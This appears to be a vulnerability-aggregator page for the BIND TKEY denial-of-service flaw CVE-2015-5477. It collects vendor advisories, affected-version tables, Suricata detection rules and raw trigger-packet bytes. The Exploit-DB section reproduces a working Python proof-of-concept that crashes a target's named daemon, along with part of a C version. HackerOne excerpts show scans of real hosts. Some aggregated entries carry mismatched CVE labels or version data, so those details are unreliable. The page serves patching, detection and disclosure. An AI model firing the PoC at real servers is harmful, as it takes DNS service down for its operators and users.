CVE-2015-5477
published 2015-07-29CVE-2015-5477: named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon…
PriorityP184high7.5CVSS 3.1
AVNACLPRNUINSUCNINAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2026-10-11
Exploited in the wild
EPSS
99.58%
99.9th percentile
named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via TKEY queries.
Affected
158 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | os_x_server | — | — |
| apple | os_x_server_v4.1.5 | — | — |
| canonical | ubuntu_linux | — | — |
| debian | bind9 | < bind9 1:9.9.5.dfsg-11 (bookworm) | bind9 1:9.9.5.dfsg-11 (bookworm) |
| debian | debian_linux | — | — |
| debian | debian_linux | — | — |
| fedoraproject | fedora | — | — |
| fedoraproject | fedora | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | hp-ux | — | — |
| hp | openvms | — | — |
| hpe | dns | — | — |
| hpe | dns | — | — |
| hpe | vcx | < 9.8.18 | 9.8.18 |
| isc | bind | — | — |
| isc | bind | >= 9.1.0 < 9.9.7 | 9.9.7 |
| isc | bind | >= 9.10.0 < 9.10.2 | 9.10.2 |
| isc | bind9 | >= 0 < 1:9.9.5.dfsg-11 | 1:9.9.5.dfsg-11 |
| isc | bind9 | >= 0 < 1:9.9.5.dfsg-11 | 1:9.9.5.dfsg-11 |
| isc | bind9 | >= 0 < 1:9.9.5.dfsg-11 | 1:9.9.5.dfsg-11 |
| isc | bind9 | >= 0 < 1:9.9.5.dfsg-11 | 1:9.9.5.dfsg-11 |
| isc | bind9 | >= 0 < 1:9.9.5.dfsg-3ubuntu0.4 | 1:9.9.5.dfsg-3ubuntu0.4 |
| juniper | junos | < 12.1 | 12.1 |
| juniper | junos | — | — |
Detection & IOCsextracted from sources · hover to see the quote
bytes↗
4d5501000001000000000001034141410341414100 00f900ff034141410341414100000a00ff000000000009084141414141414141
bytes↗
01020100000100000000000103666f6f03626172000000f900ff03666f6f03626172000000100000ff000000000033
- →Detect malformed TKEY (type 249 / 0x00f9) DNS queries over UDP port 53 where the question section contains a TKEY record type (249) but the additional records section contains a non-TKEY record type (e.g., type 16) with the same query name — this is the specific packet structure that triggers the REQUIRE assertion failure in named. ↗
- →The exploit is effective against both recursive and authoritative BIND named servers; ACLs and configuration-based access restrictions do NOT mitigate the attack because the vulnerable code path is reached before those checks are enforced. ↗
- →Monitor named process for unexpected exits with 'REQUIRE assertion failure' in logs — this is the crash signature produced by a successful exploit of CVE-2015-5477. ↗
- →The PoC sends a UDP DNS packet with transaction ID 0x4d55 (Python PoC) or 0x0102 (C PoC) — these static XIDs can serve as a signature for the specific PoC tools in network traffic. ↗
- →The Metasploit auxiliary module for this CVE targets BIND versions 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1, and 9.10.0 through 9.10.2-P2; use version fingerprinting to prioritize patching of in-range instances. ↗
- ·ACLs and configuration options that restrict or deny DNS service do NOT prevent exploitation because the vulnerable TKEY handling code is reached before those access controls are evaluated. ↗
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
nvdv2.07.8HIGHAV:N/AC:L/Au:N/C:N/I:N/A:C
osv7.8HIGH
vulncheck7.8HIGH
cisa7.5HIGH
vendor_debian7.8HIGH
vendor_redhat7.8HIGH
vendor_ubuntu7.1HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
ISC BIND Data Processing Errors Vulnerability
cisa·2026-10-08·CVSS 7.5
CVE-2015-5477 [HIGH] CWE-19 ISC BIND Data Processing Errors Vulnerability
Vulnerability: ISC BIND Data Processing Errors Vulnerability
Affected: ISC BIND
ISC BIND contains a data processing errors vulnerability that could allow remote attackers to cause a denial of service via TKEY queries.
Required Action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Notes: This vulnerability could affect an open-source component, third-pa
BSD
FreeBSD-SA-15:17.bind: BIND remote denial of service vulnerability
bsd_advisories·2015-07-28·CVSS 7.8
CVE-2015-5477 [HIGH] FreeBSD-SA-15:17.bind: BIND remote denial of service vulnerability
FreeBSD-SA-15:17.bind Security Advisory
The FreeBSD Project
Topic: BIND remote denial of service vulnerability
Category: contrib
Module: bind
Announced: 2015-07-28
Credits: ISC
Affects: FreeBSD 8.x and FreeBSD 9.x.
Corrected: 2015-07-28 19:58:54 UTC (stable/9, 9.3-STABLE)
2015-07-28 19:59:22 UTC (releng/9.3, 9.3-RELEASE-p21)
2015-07-28 19:58:54 UTC (stable/8, 8.4-STABLE)
2015-07-28 19:59:22 UTC (releng/8.4, 8.4-RELEASE-p35)
CVE Name: CVE-2015-5477
For general information regarding FreeBSD Security Advisories,
including descriptions of the fields above, security branches, and the
following sections, please visit .
I. Background
BIND 9 is an implementation of the Domain Name System (DNS) protocols.
The named(8) daemon is an Internet Domain Name Server.
II. Problem Description
An error
Red Hat
bind: TKEY query handling flaw leading to denial of service
vendor_redhat·2015-07-28·CVSS 7.8
CVE-2015-5477 [HIGH] CWE-456 bind: TKEY query handling flaw leading to denial of service
bind: TKEY query handling flaw leading to denial of service
named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via TKEY queries.
A flaw was found in the way BIND handled requests for TKEY DNS resource records. A remote attacker could use this flaw to make named (functioning as an authoritative DNS server or a DNS resolver) exit unexpectedly with an assertion failure via a specially crafted DNS request packet.
Package: bind (Red Hat Enterprise Linux 4) - Will not fix
Ubuntu
Bind vulnerabilities
vendor_ubuntu·2015-07-28·CVSS 7.1
CVE-2012-5689 [HIGH] Bind vulnerabilities
Title: Bind vulnerabilities
Summary: Bind could be made to crash if it received specially crafted network
traffic.
Jonathan Foote discovered that Bind incorrectly handled certain TKEY
queries. A remote attacker could use this issue with a specially crafted
packet to cause Bind to crash, resulting in a denial of service.
(CVE-2015-5477)
Pories Ediansyah discovered that Bind incorrectly handled certain
configurations involving DNS64. A remote attacker could use this issue with
a specially crafted query to cause Bind to crash, resulting in a denial of
service. This issue only affected Ubuntu 12.04 LTS. (CVE-2012-5689)
Instructions: In general, a standard system update will make all the necessary changes.
Debian
CVE-2015-5477: bind9 - named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote ...
vendor_debian·2015·CVSS 7.8
CVE-2015-5477 [HIGH] CVE-2015-5477: bind9 - named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote ...
named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via TKEY queries.
Scope: local
bookworm: resolved (fixed in 1:9.9.5.dfsg-11)
bullseye: resolved (fixed in 1:9.9.5.dfsg-11)
forky: resolved (fixed in 1:9.9.5.dfsg-11)
sid: resolved (fixed in 1:9.9.5.dfsg-11)
trixie: resolved (fixed in 1:9.9.5.dfsg-11)
Apple
CVE-2015-5477: OS X Server v4.1.5
vendor_apple·CVSS 7.8
CVE-2015-5477 [HIGH] CVE-2015-5477: OS X Server v4.1.5
Apple Security Update: About the security content of OS X Server v4.1.5
Product: OS X Server v4.1.5
CVE: CVE-2015-5477
Component: CVE-2015-5477
VulDB
ISC BIND up to 9.9.7-P1/9.10.2-P2 TKEY Query Packet data processing (AA-01272 / EDB-37721)
vuldb·2026-10-08·CVSS 7.5
CVE-2015-5477 [HIGH] ISC BIND up to 9.9.7-P1/9.10.2-P2 TKEY Query Packet data processing (AA-01272 / EDB-37721)
A vulnerability, which was classified as problematic, has been found in ISC BIND up to 9.9.7-P1/9.10.2-P2. This impacts an unknown function of the component TKEY Query Packet Handler. Performing a manipulation results in data processing error.
This vulnerability was named CVE-2015-5477. The attack may be initiated remotely. In addition, an exploit is available.
It is advisable to upgrade the affected component.
GHSA
GHSA-4622-vjcx-p39j: named in ISC BIND 9
ghsa_unreviewed·2022-05-17
CVE-2015-5477 [HIGH] GHSA-4622-vjcx-p39j: named in ISC BIND 9
named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via TKEY queries.
OSV
CVE-2015-5477: named in ISC BIND 9
osv·2015-07-29·CVSS 7.8
CVE-2015-5477 [HIGH] CVE-2015-5477: named in ISC BIND 9
named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via TKEY queries.
OSV
bind9 vulnerabilities
osv·2015-07-28·CVSS 7.1
CVE-2015-5477 [HIGH] bind9 vulnerabilities
bind9 vulnerabilities
Jonathan Foote discovered that Bind incorrectly handled certain TKEY
queries. A remote attacker could use this issue with a specially crafted
packet to cause Bind to crash, resulting in a denial of service.
(CVE-2015-5477)
Pories Ediansyah discovered that Bind incorrectly handled certain
configurations involving DNS64. A remote attacker could use this issue with
a specially crafted query to cause Bind to crash, resulting in a denial of
service. This issue only affected Ubuntu 12.04 LTS. (CVE-2012-5689)
VulnCheck
ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 TKEY Queries Denial of Service
vulncheck·2015·CVSS 7.8
CVE-2015-5477 [HIGH] ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 TKEY Queries Denial of Service
ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 TKEY Queries Denial of Service
named in ISC BIND 9.x before 9.9.7-P2 and 9.10.x before 9.10.2-P3 allows remote attackers to cause a denial of service (REQUIRE assertion failure and daemon exit) via TKEY queries.
Affected: isc bind
Required Action: Apply remediations or mitigations per vendor instructions or discontinue use of the product if remediation or mitigations are unavailable.
Exploitation References: https://blog.sucuri.net/2015/08/bind9-denial-of-service-exploit-in-the-wild.html
Exploit PoC: https://vulncheck.com/xdb/c7383d75ca4d; https://vulncheck.com/xdb/015153ada07d; https://vulncheck.com/xdb/55a2cb0838d4; https://vulncheck.com/xdb/6a3d6ac5fd3f
Suricata
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M4
suricata·2015-08-01·CVSS 7.8
CVE-2015-5477 [HIGH] ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M4
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M4
Rule: alert udp any any -> any 53 (msg:"ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M4"; content:"|00 00 00 01|"; depth:4; offset:2; content:"|00 01|"; distance:4; within:2; pcre:"/^[^\x00]+\x00/R"; content:"|00 f9|"; within:2; fast_pattern; pcre:"/^..[^\x00]+\x00/Rs"; content:!"|00 f9|"; within:2; threshold: type limit, track by_src, seconds 60, count 1; reference:cve,2015-5477; classtype:attempted-dos; sid:2021575; rev:4; metadata:created_at 2015_08_01, cve CVE_2015_5477, confidence Medium, signature_severity Major, updated_at 2023_05_24;)
Suricata
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M1
suricata·2015-08-01·CVSS 7.8
CVE-2015-5477 [HIGH] ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M1
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M1
Rule: alert udp any any -> any 53 (msg:"ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M1"; content:"|01 00 00 01 00 01|"; depth:6; offset:2; pcre:"/^.{4}[^\x00]+\x00/R"; content:"|00 f9|"; within:2; fast_pattern; pcre:"/^..[^\x00]+\x00/Rs"; content:!"|00 f9|"; within:2; threshold: type limit, track by_src, seconds 60, count 1; reference:cve,2015-5477; classtype:attempted-dos; sid:2021572; rev:3; metadata:created_at 2015_08_01, cve CVE_2015_5477, confidence Medium, signature_severity Major, updated_at 2023_05_24;)
Suricata
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M2
suricata·2015-08-01·CVSS 7.8
CVE-2015-5477 [HIGH] ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M2
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M2
Rule: alert udp any any -> any 53 (msg:"ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M2"; content:"|01 00 00 01|"; depth:4; offset:2; content:"|00 01|"; distance:4; within:2; pcre:"/^[^\x00]+\x00/R"; content:"|00 f9|"; within:2; fast_pattern; pcre:"/^..[^\x00]+\x00/Rs"; content:!"|00 f9|"; within:2; threshold: type limit, track by_src, seconds 60, count 1; reference:cve,2015-5477; classtype:attempted-dos; sid:2021573; rev:4; metadata:created_at 2015_08_01, cve CVE_2015_5477, confidence Medium, signature_severity Major, updated_at 2023_05_24;)
Suricata
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M3
suricata·2015-08-01·CVSS 7.8
CVE-2015-5477 [HIGH] ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M3
ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M3
Rule: alert udp any any -> any 53 (msg:"ET EXPLOIT Possible BIND9 DoS CVE-2015-5477 M3"; content:"|00 00 00 01 00 01|"; depth:6; offset:2; pcre:"/^.{4}[^\x00]+\x00/R"; content:"|00 f9|"; within:2; fast_pattern; pcre:"/^..[^\x00]+\x00/Rs"; content:!"|00 f9|"; within:2; threshold: type limit, track by_src, seconds 60, count 1; reference:cve,2015-5477; classtype:attempted-dos; sid:2021574; rev:3; metadata:created_at 2015_08_01, cve CVE_2015_5477, confidence Medium, signature_severity Major, updated_at 2023_05_24;)
Exploit-DB
ISC BIND 9 - TKEY Remote Denial of Service (PoC)
exploitdb·2015-08-05·CVSS 7.8
CVE-2015-5477 [HIGH] ISC BIND 9 - TKEY Remote Denial of Service (PoC)
ISC BIND 9 - TKEY Remote Denial of Service (PoC)
---
#!/usr/bin/env python
# Exploit Title: PoC for BIND9 TKEY DoS
# Exploit Author: elceef
# Software Link: https://github.com/elceef/tkeypoc/
# Version: ISC BIND 9
# Tested on: multiple
# CVE : CVE-2015-5477
import socket
import sys
print('CVE-2015-5477 BIND9 TKEY PoC')
if len(sys.argv) < 2:
print('Usage: ' + sys.argv[0] + ' [target]')
sys.exit(1)
print('Sending packet to ' + sys.argv[1] + ' ...')
payload = bytearray('4d 55 01 00 00 01 00 00 00 00 00 01 03 41 41 41 03 41 41 41 00 00 f9 00 ff 03 41 41 41 03 41 41 41 00 00 0a 00 ff 00 00 00 00 00 09 08 41 41 41 41 41 41 41 41'.replace(' ', '').decode('hex'))
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.sendto(payload, (sys.argv[1], 53))
print('Done.')
Exploit-DB
ISC BIND 9 - TKEY (PoC)
exploitdb·2015-08-01·CVSS 7.8
CVE-2015-5477 [HIGH] ISC BIND 9 - TKEY (PoC)
ISC BIND 9 - TKEY (PoC)
---
/*
PoC for BIND9 TKEY assert Dos (CVE-2015-5477)
Usage:
tkill
What it does:
- First sends a "version" query to see if the server is up.
- Regardless of the version response, it then sends the DoS packet.
- Then it waits 5 seconds for a response. If the server crashes,
there will be no response.
Notes:
- multiple hostnames can be specified on the command-line
- IP addresses can be specified instead of hostnames
- supports IPv4 and IPv6
- runs on Linux, Mac, and Windows (cygwin or VisualStudio)
- if a hostname resolves to more than one IP, then all IPs
will be probed
About the vuln:
For control information, the "TSIG" feature allows packets to be
signed with a password. This allows slave servers to get updates
from master servers without a MitM attack (like
Metasploit
BIND TKEY Query Denial of Service
metasploit
BIND TKEY Query Denial of Service
BIND TKEY Query Denial of Service
This module sends a malformed TKEY query, which exploits an error in handling TKEY queries on affected BIND9 'named' DNS servers. As a result, a vulnerable named server will exit with a REQUIRE assertion failure. This condition can be exploited in versions of BIND between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 through 9.10.2-P2.
HackerOne
ci.nextcloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
hackerone·2017-06-08·CVSS 7.8
CVE-2015-5477 [HIGH] ci.nextcloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
ci.nextcloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
Hello Team NextCloud,
In reference report #217381
I've reported the DDOS attack via DNS Port at OwnCloud..
And it was successfully patched.
But now same issue I got at
```
ci.nextcloud.com
```
Proof Of Concept:
Here it is the nmap result of ci.nextcloud.com
NMap Scan Results:
```
Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-08 04:12 PKT
Nmap scan report for ci.nextcloud.com (█████)
Host is up (0.077s latency).
rDNS record for █████████: ███████
Not shown: 96 filtered ports
PORT STATE SERVICE VERSION
22/tcp open tcpwrapped
53/tcp open tcpwrapped
80/tcp open tcpwrapped
443/tcp open tcpwrapped
```
Now here it is the telnet result:
```
──╼ $telnet
telnet> open
(to) ci.nextcloud.com 53
Trying ███..
HackerOne
doc.owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
hackerone·2017-06-01·CVSS 7.8
CVE-2015-5477 [HIGH] doc.owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
doc.owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
BIND9 TKEY Vulnerability + Exploit (Denial of Service)
HackerOne
owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
hackerone·2015-09-16·CVSS 7.8
CVE-2015-5477 [HIGH] owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
owncloud.com: CVE-2015-5477 BIND9 TKEY Vulnerability + Exploit (Denial of Service)
owncloud.com appears to be vulnerable to CVE-2015-5477 based on the running version of BIND. This allows attackers to launch Denial of Service attacks against owncloud.com which would result in the owncloud server to stop responding and even reboot. It is recommended to upgrade to the latest version of ISC Bind.
NMap Scan Results:
Starting Nmap 6.49BETA4 ( https://nmap.org ) at 2015-09-15 14:37 EDT
Warning: 50.30.33.235 giving up on port because retransmission cap hit (6).
Nmap scan report for owncloud.com (50.30.33.235)
Host is up (0.041s latency).
rDNS record for 50.30.33.235: www.owncloud.com
Not shown: 993 closed ports, 3 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.8 (protocol 2
Bugzilla
CVE-2015-5477 bind99: bind: TKEY query handling flaw leading to denial of service [fedora-22]
bugzilla·2015-07-28·CVSS 7.8
CVE-2015-5477 [HIGH] CVE-2015-5477 bind99: bind: TKEY query handling flaw leading to denial of service [fedora-22]
CVE-2015-5477 bind99: bind: TKEY query handling flaw leading to denial of service [fedora-22]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of Fedora.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
fedora-22 tracking bug for bind99: see b
Bugzilla
CVE-2015-5477 bind: TKEY query handling flaw leading to denial of service [fedora-all]
bugzilla·2015-07-28·CVSS 7.8
CVE-2015-5477 [HIGH] CVE-2015-5477 bind: TKEY query handling flaw leading to denial of service [fedora-all]
CVE-2015-5477 bind: TKEY query handling flaw leading to denial of service [fedora-all]
This is an automatically created tracking bug! It was created to ensure
that one or more security vulnerabilities are fixed in affected versions
of Fedora.
For comments that are specific to the vulnerability please use bugs filed
against the "Security Response" product referenced in the "Blocks" field.
For more information see:
http://fedoraproject.org/wiki/Security/TrackingBugs
When submitting as an update, use the fedpkg template provided in the next
comment(s). This will include the bug IDs of this tracking bug as well as
the relevant top-level CVE bugs.
Please also mention the CVE IDs being fixed in the RPM changelog and the
fedpkg commit message.
NOTE: this issue affects multiple supported ver
Bugzilla
CVE-2015-5477 bind: TKEY query handling flaw leading to denial of service
bugzilla·2015-07-27·CVSS 7.8
CVE-2015-5477 [HIGH] CVE-2015-5477 bind: TKEY query handling flaw leading to denial of service
CVE-2015-5477 bind: TKEY query handling flaw leading to denial of service
The following flaw, reported by ISC, was found in all versions of BIND 9 (from, and including, 9.1.0):
An error in the handling of TKEY queries can be exploited by an attacker for use as a denial-of-service vector, as a constructed packet can use the defect to trigger a REQUIRE assertion failure, causing BIND to exit.
Both recursive and authoritative servers are vulnerable to this defect. Additionally, exposure is not prevented by either ACLs or configuration options limiting or denying service because the exploitable code occurs early in the packet handling, before checks enforcing those boundaries.
This flaw is fixed in upstream versions 9.9.7-P2 and 9.10.2-P3.
Acknowledgements:
Red Hat would like to thank IS
Hackernews
Flax Typhoon Exploits Five Flaws as CISA Sets October 11 Deadline for Federal Agencies
blogs_hackernews·2026-10-09·CVSS 10.0
CVE-2015-3306 [CRITICAL] Flax Typhoon Exploits Five Flaws as CISA Sets October 11 Deadline for Federal Agencies
Home
Threat Intelligence
Vulnerabilities
Cyber Attacks
Webinars
Expert Insights
Awards
Webinars
Awards
Free eBooks
About THN
Jobs
Advertise with us
## Flax Typhoon Exploits Five Flaws as CISA Sets October 11 Deadline for Federal Agencies
The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday added five security flaws to its Known Exploited Vulnerabilities ( KEV ) catalog, following their abuse by a China-linked threat actor known as Flax Typhoon.
The vulnerabilities in question are listed below -
CVE-2015-3306 (CVSS score: 10.0) - An improper access control vulnerability in ProFTPD that could allow remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.
CVE-2021-3199 (CVSS score: 9.8) - A path traversal vulner
http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10718http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163006.htmlhttp://lists.fedoraproject.org/pipermail/package-announce/2015-August/163007.htmlhttp://lists.fedoraproject.org/pipermail/package-announce/2015-August/163015.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00043.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00044.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00045.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00048.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00050.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-08/msg00001.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-01/msg00033.htmlhttp://marc.info/?l=bugtraq&m=144000632319155&w=2http://marc.info/?l=bugtraq&m=144017354030745&w=2http://marc.info/?l=bugtraq&m=144181171013996&w=2http://marc.info/?l=bugtraq&m=144294073801304&w=2http://packetstormsecurity.com/files/132926/BIND-TKEY-Query-Denial-Of-Service.htmlhttp://rhn.redhat.com/errata/RHSA-2015-1513.htmlhttp://rhn.redhat.com/errata/RHSA-2015-1514.htmlhttp://rhn.redhat.com/errata/RHSA-2015-1515.htmlhttp://rhn.redhat.com/errata/RHSA-2016-0078.htmlhttp://rhn.redhat.com/errata/RHSA-2016-0079.htmlhttp://www.debian.org/security/2015/dsa-3319http://www.oracle.com/technetwork/topics/security/bulletinjul2015-2511963.htmlhttp://www.oracle.com/technetwork/topics/security/ovmbulletinjul2016-3090546.htmlhttp://www.securityfocus.com/bid/76092http://www.securitytracker.com/id/1033100http://www.ubuntu.com/usn/USN-2693-1https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04789415https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04952480https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05095918https://kb.isc.org/article/AA-01272https://kb.isc.org/article/AA-01305https://kb.isc.org/article/AA-01306https://kb.isc.org/article/AA-01307https://kb.isc.org/article/AA-01438https://kb.juniper.net/JSA10783https://kc.mcafee.com/corporate/index?page=content&id=SB10126https://security.gentoo.org/glsa/201510-01https://security.netapp.com/advisory/ntap-20160114-0001/https://support.apple.com/kb/HT205032https://www.exploit-db.com/exploits/37721/https://www.exploit-db.com/exploits/37723/http://kb.juniper.net/InfoCenter/index?page=content&id=JSA10718http://lists.fedoraproject.org/pipermail/package-announce/2015-August/163006.htmlhttp://lists.fedoraproject.org/pipermail/package-announce/2015-August/163007.htmlhttp://lists.fedoraproject.org/pipermail/package-announce/2015-August/163015.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00043.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00044.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00045.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00048.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-07/msg00050.htmlhttp://lists.opensuse.org/opensuse-security-announce/2015-08/msg00001.htmlhttp://lists.opensuse.org/opensuse-security-announce/2016-01/msg00033.htmlhttp://marc.info/?l=bugtraq&m=144000632319155&w=2http://marc.info/?l=bugtraq&m=144017354030745&w=2http://marc.info/?l=bugtraq&m=144181171013996&w=2http://marc.info/?l=bugtraq&m=144294073801304&w=2http://packetstormsecurity.com/files/132926/BIND-TKEY-Query-Denial-Of-Service.htmlhttp://rhn.redhat.com/errata/RHSA-2015-1513.htmlhttp://rhn.redhat.com/errata/RHSA-2015-1514.htmlhttp://rhn.redhat.com/errata/RHSA-2015-1515.htmlhttp://rhn.redhat.com/errata/RHSA-2016-0078.htmlhttp://rhn.redhat.com/errata/RHSA-2016-0079.htmlhttp://www.debian.org/security/2015/dsa-3319http://www.oracle.com/technetwork/topics/security/bulletinjul2015-2511963.htmlhttp://www.oracle.com/technetwork/topics/security/ovmbulletinjul2016-3090546.htmlhttp://www.securityfocus.com/bid/76092http://www.securitytracker.com/id/1033100http://www.ubuntu.com/usn/USN-2693-1https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04789415https://h20564.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c04952480https://h20566.www2.hpe.com/portal/site/hpsc/public/kb/docDisplay?docId=emr_na-c05095918https://kb.isc.org/article/AA-01272https://kb.isc.org/article/AA-01305https://kb.isc.org/article/AA-01306https://kb.isc.org/article/AA-01307https://kb.isc.org/article/AA-01438https://kb.juniper.net/JSA10783https://kc.mcafee.com/corporate/index?page=content&id=SB10126https://security.gentoo.org/glsa/201510-01https://security.netapp.com/advisory/ntap-20160114-0001/https://support.apple.com/kb/HT205032https://www.exploit-db.com/exploits/37721/https://www.exploit-db.com/exploits/37723/https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2015-5477
2015-07-29
Published
2026-10-08
Added to CISA KEV
Exploited in the wild